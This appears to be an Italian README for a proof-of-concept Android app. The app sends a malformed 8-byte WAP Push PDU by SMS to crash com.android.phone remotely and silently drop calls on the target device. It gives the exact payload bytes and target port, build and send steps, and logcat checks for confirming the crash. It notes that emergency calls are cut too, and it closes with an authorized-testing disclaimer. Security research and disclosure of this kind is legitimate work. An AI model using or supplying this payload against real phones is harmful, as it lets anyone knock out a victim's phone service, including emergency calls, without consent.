
App PoC per Android che invia un PDU WAP Push malformato di 8 byte tramite SMS per mandare in crash com.android.phone da remoto, interrompendo silenziosamente le chiamate sul dispositivo di destinazione.
App Android proof-of-concept che invia un PDU WAP Push artigianale di 8 byte tramite SMS a un
telefono di destinazione. Il PDU malformato provoca una NegativeArraySizeException in
WapPushOverSms.decodeWapPdu, che non viene intercettata in InboundSmsHandler e termina
com.android.phone sul dispositivo ricevente — interrompendo qualsiasi chiamata attiva, comprese
quelle di emergenza, senza alcuna interazione da parte della vittima.
Analisi completa: https://smsofdeath.com/
01 06 88 80 80 80 00 BE → inviato come SMS dati alla porta 2948
./gradlew assembleDebug
Output: app/build/outputs/apk/debug/app-debug.apk
Richiede un Android SDK. Creare local.properties con il percorso dell'SDK (Android Studio
lo fa automaticamente):
sdk.dir=/path/to/Android/sdk
Installare su un dispositivo mittente, inserire (o compilare automaticamente da una SIM attiva) il numero di destinazione, selezionare la SIM mittente e toccare SEND CRASH SMS. Osservare sul dispositivo di destinazione:
adb logcat | grep -E 'NegativeArraySize|WapPushOverSms|com.android.phone'
Atteso: FATAL EXCEPTION in com.android.phone entro ~1–2s e un cambio di PID per
quel processo, con una breve perdita di segnale.
minSdk 30, targetSdk/compileSdk 35.SEND_SMS, READ_PHONE_NUMBERS, READ_PHONE_STATE.Per ricerca e test di sicurezza autorizzati su dispositivi di proprietà o per i quali si dispone di esplicita autorizzazione al test. Non utilizzare contro sistemi o persone senza consenso.